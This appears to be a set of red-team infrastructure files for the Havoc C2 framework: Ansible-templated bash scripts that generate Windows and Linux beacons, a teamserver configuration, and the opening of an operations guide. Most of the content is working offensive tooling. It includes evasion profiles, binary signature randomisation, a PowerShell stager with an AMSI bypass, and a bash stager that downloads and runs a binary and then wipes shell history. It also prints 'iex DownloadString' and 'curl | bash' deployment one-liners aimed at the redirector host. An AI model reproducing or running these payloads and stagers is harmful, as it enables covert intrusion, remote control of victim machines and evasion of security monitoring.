printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
|
||||
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
|
||||
|
||||
# Try to strip debug information
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-debug "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
elif file "$input_file" | grep -q "ELF"; then
|
||||
# Linux ELF modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Try to strip all symbols
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-all "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
# Replace original with modified version
|
||||
mv "$temp_file" "$input_file"
|
||||
|
||||
echo "[+] Binary modifications complete"
|
||||
}
|
||||
|
||||
# Create advanced Havoc payload profile with evasion techniques
|
||||
generate_profile() {
|
||||
local type=$1
|
||||
local profile_name="${type}_profile_$(random_string 8).json"
|
||||
|
||||
echo "[+] Creating evasive $type profile..."
|
||||
|
||||
# Generate random values for this profile
|
||||
local sleep_time=$(( RANDOM % 10 + 2 ))
|
||||
local jitter_percent=$(( RANDOM % 50 + 10 ))
|
||||
|
||||
if [ "$type" == "windows" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": $(( RANDOM % 3 )),
|
||||
"ExecutionMethod": $(( RANDOM % 3 )),
|
||||
"ExecuteOptions": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true,
|
||||
"SyscallMethod": $(( RANDOM % 3 )),
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
},
|
||||
"Binary": {
|
||||
"Subsystem": $(( RANDOM % 2 + 1 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
elif [ "$type" == "linux" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"Injection": {
|
||||
"SpawnMethod": $(( RANDOM % 2 )),
|
||||
"AllocationMethod": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "$profile_name"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with EDR evasion techniques
|
||||
generate_payloads() {
|
||||
echo "[+] Generating EDR-evasive Havoc beacons..."
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(generate_profile "windows")
|
||||
win_output="update_win_$(random_string 8).exe"
|
||||
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$win_profile" \
|
||||
--format exe \
|
||||
--output "$BEACONS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$win_output"
|
||||
fi
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(generate_profile "windows")
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$dll_profile" \
|
||||
--format dll \
|
||||
--output "$BEACONS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$dll_output"
|
||||
fi
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(generate_profile "linux")
|
||||
linux_output="update_linux_$(random_string 8)"
|
||||
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$linux_profile" \
|
||||
--format elf \
|
||||
--output "$BEACONS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/linux/$linux_output"
|
||||
fi
|
||||
|
||||
# Windows shellcode (staged payload)
|
||||
shellcode_profile=$(generate_profile "windows")
|
||||
shellcode_output="shellcode_$(random_string 8).bin"
|
||||
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$shellcode_profile" \
|
||||
--format shellcode \
|
||||
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload information
|
||||
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating evasive stagers..."
|
||||
|
||||
# Create PowerShell stager directory
|
||||
mkdir -p $BEACONS_DIR/stagers
|
||||
|
||||
# PowerShell stager with AMSI bypass and obfuscation
|
||||
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
|
||||
# PowerShell stager for Havoc C2 with AMSI bypass
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
|
||||
# AMSI Bypass
|
||||
function Bypass-AMSI {
|
||||
$a = [Ref].Assembly.GetTypes()
|
||||
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
||||
$d = $c.GetFields('NonPublic,Static')
|
||||
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
||||
$g = $f.GetValue($null)
|
||||
[IntPtr]$ptr = $g
|
||||
[Int32[]]$buf = @(0)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
||||
}
|
||||
|
||||
# Try to bypass AMSI
|
||||
try { Bypass-AMSI } catch {}
|
||||
|
||||
# Randomize variables for evasion
|
||||
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
|
||||
# Error handling with obfuscation
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
|
||||
|
||||
# Split URL to avoid detection
|
||||
$r1 = "https://"
|
||||
$r2 = "REDIRECTOR_HOST"
|
||||
$r3 = "/content/windows/WINDOWS_EXE"
|
||||
$url = $r1 + $r2 + $r3
|
||||
|
||||
# Download with jitter
|
||||
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
|
||||
# Start process with extra obfuscation
|
||||
$p = New-Object System.Diagnostics.Process
|
||||
$p.StartInfo.FileName = $outpath
|
||||
$p.StartInfo.WindowStyle = 'Hidden'
|
||||
$p.StartInfo.CreateNoWindow = $true
|
||||
$p.Start()
|
||||
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in PowerShell stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
|
||||
# Bash stager with obfuscation techniques
|
||||
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon with EDR evasion
|
||||
|
||||
# Function obfuscation
|
||||
function x() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
# Random temp filename
|
||||
r() {
|
||||
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
|
||||
}
|
||||
|
||||
# Randomize variables
|
||||
TMPVAR=$(r)
|
||||
TMPFILE="/tmp/.${TMPVAR}"
|
||||
|
||||
# Check which download tool is available
|
||||
if x curl; then
|
||||
# Split URL to avoid signature detection
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
curl -s -o "$TMPFILE" "$url"
|
||||
elif x wget; then
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
wget -q -O "$TMPFILE" "$url"
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Make executable and run in background
|
||||
chmod +x "$TMPFILE"
|
||||
# Add random sleep before execution
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
("$TMPFILE" > /dev/null 2>&1 &)
|
||||
|
||||
# Clean up command history if possible
|
||||
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
|
||||
history -c 2>/dev/null
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in Bash stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers created successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating manifest file..."
|
||||
cat > $BEACONS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"windows_shellcode": "$shellcode_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"havoc_teamserver_port": "$TEAMSERVER_PORT",
|
||||
"havoc_http_port": "$HTTP_PORT",
|
||||
"havoc_https_port": "$HTTPS_PORT",
|
||||
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
}
|
||||
EOF
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating reference file..."
|
||||
cat > $BEACONS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
- Teamserver Port: $TEAMSERVER_PORT
|
||||
- Admin User: $ADMIN_USER
|
||||
- Admin Password: $ADMIN_PASS
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
|
||||
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
|
||||
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
|
||||
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
|
||||
|
||||
Deployment Commands:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
|
||||
Anti-Detection Features Enabled:
|
||||
- Binary signature randomization
|
||||
- PE/ELF header manipulation
|
||||
- Sleep mask obfuscation
|
||||
- AMSI bypass in stagers
|
||||
- EDR unhooking
|
||||
- Indirect syscalls
|
||||
- Random sleep/jitter timing
|
||||
EOF
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting EDR-evasive Havoc beacon generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest file
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference file
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] EDR-evasive beacon generation complete!"
|
||||
@@ -0,0 +1,260 @@
|
||||
#!/bin/bash
|
||||
# EDR-evasive payload generator for Havoc C2
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
TEAMSERVER_HOST="127.0.0.1"
|
||||
TEAMSERVER_PORT="40056"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $PAYLOADS_DIR/windows
|
||||
mkdir -p $PAYLOADS_DIR/linux
|
||||
mkdir -p $PAYLOADS_DIR/staged
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Define Havoc profiles for different payloads
|
||||
generate_profiles() {
|
||||
echo "[+] Generating Havoc C2 profiles..."
|
||||
|
||||
# Profile for Windows EXE
|
||||
cat > $PAYLOADS_DIR/win_exe.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": 0,
|
||||
"ExecutionMethod": 0,
|
||||
"ExecuteOptions": 0
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Profile for Linux ELF
|
||||
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"Injection": {
|
||||
"SpawnMethod": 1,
|
||||
"AllocationMethod": 1
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Profiles created successfully"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with CLI arguments
|
||||
generate_payloads() {
|
||||
echo "[+] Generating Havoc payloads..."
|
||||
|
||||
# Windows EXE
|
||||
win_output="agent_win_$(random_string 8).exe"
|
||||
echo "[+] Generating Windows payload: $win_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format exe \
|
||||
--output "$PAYLOADS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Windows DLL
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Generating Windows DLL: $dll_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format dll \
|
||||
--output "$PAYLOADS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Linux ELF
|
||||
linux_output="agent_linux_$(random_string 8)"
|
||||
echo "[+] Generating Linux payload: $linux_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/linux_elf.profile" \
|
||||
--format elf \
|
||||
--output "$PAYLOADS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload names for reference
|
||||
echo "$win_output:$dll_output:$linux_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating stagers..."
|
||||
|
||||
# PowerShell stager
|
||||
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
|
||||
# PowerShell stager for Havoc C2
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = 'SilentlyContinue'
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
|
||||
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Bash stager
|
||||
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon
|
||||
|
||||
# Download binary to /tmp with random name
|
||||
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
|
||||
chmod +x \$TMPFILE
|
||||
|
||||
# Execute in background
|
||||
\$TMPFILE &
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers generated successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Manifest created successfully"
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Payloads Generated ($(date)):
|
||||
- Windows EXE: $win_output
|
||||
- Windows DLL: $dll_output
|
||||
- Linux Binary: $linux_output
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
Payload deployment:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
EOF
|
||||
|
||||
echo "[+] Reference file created successfully"
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting Havoc C2 payload generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Create stagers directory
|
||||
mkdir -p $PAYLOADS_DIR/stagers
|
||||
|
||||
# Generate profiles
|
||||
generate_profiles
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] Havoc payload generation complete!"
|
||||
@@ -0,0 +1,79 @@
|
||||
Teamserver {
|
||||
Host = "0.0.0.0"
|
||||
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||
|
||||
Build {
|
||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Nasm = "/usr/bin/nasm"
|
||||
}
|
||||
}
|
||||
|
||||
Operators {
|
||||
user "{{ havoc_admin_user | default('admin') }}" {
|
||||
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||
}
|
||||
{% if havoc_operators is defined %}
|
||||
{% for operator in havoc_operators %}
|
||||
user "{{ operator.name }}" {
|
||||
Password = "{{ operator.password }}"
|
||||
}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
Listeners {
|
||||
Http {
|
||||
Name = "https"
|
||||
Hosts = [
|
||||
"{{ redirector_subdomain }}.{{ domain }}"
|
||||
]
|
||||
HostBind = "0.0.0.0"
|
||||
HostRotation = "round-robin"
|
||||
PortBind = {{ havoc_https_port | default(9443) }}
|
||||
PortConn = {{ havoc_https_port | default(9443) }}
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
Headers = [
|
||||
"Accept: */*",
|
||||
"Accept-Language: en-US,en;q=0.9"
|
||||
]
|
||||
Uris = [
|
||||
"/api/v2",
|
||||
"/content",
|
||||
"/static/css",
|
||||
"/wp-content/plugins"
|
||||
]
|
||||
Response {
|
||||
Headers = [
|
||||
"Content-Type: application/json",
|
||||
"Cache-Control: no-store, private",
|
||||
"X-Content-Type-Options: nosniff"
|
||||
]
|
||||
}
|
||||
Secure = true
|
||||
|
||||
Cert {
|
||||
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Demon {
|
||||
Sleep = {{ havoc_sleep | default(5) }}
|
||||
Jitter = {{ havoc_jitter | default(30) }}
|
||||
|
||||
Injection {
|
||||
{% if havoc_spawn64 is defined %}
|
||||
Spawn64 = "{{ havoc_spawn64 }}"
|
||||
{% else %}
|
||||
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
|
||||
{% endif %}
|
||||
|
||||
{% if havoc_spawn32 is defined %}
|
||||
Spawn32 = "{{ havoc_spawn32 }}"
|
||||
{% else %}
|
||||
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
|
||||
{% endif %}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
HAVOC C2 OPERATIONS GUIDE
|
||||
==========================
|
||||
|
||||
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||
deployed on your infrastructure.
|
||||
|
||||
SERVER INFORMATION
|
||||
-----------------
|
||||
C2 Server IP: {{ c2_ip }}
|
||||
Redirector Domain: {{ redirector_domain }}
|
||||
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
CONNECTING TO THE TEAMSERVER
|
||||
---------------------------
|
||||
From your local machine:
|
||||
|
||||
1. Make sure Havoc client (dev branch) is installed:
|
||||
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||
$ cd Havoc/Client
|
||||
$ mkdir build && cd build
|
||||
$ cmake -GNinja ..
|
||||
$ ninja
|
||||
|
||||
2. Connect to the Teamserver via GUI:
|
||||
- Host: {{ c2_ip }}
|
||||
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
- User: {{ havoc_admin_user | default('admin') }}
|
||||
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
3. CLI Connection:
|
||||
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||
|
||||
LISTENERS
|
||||
--------
|
||||
Two default listeners are configured:
|
||||
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||
|
||||
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||
|
||||
GENERATING PAYLOADS
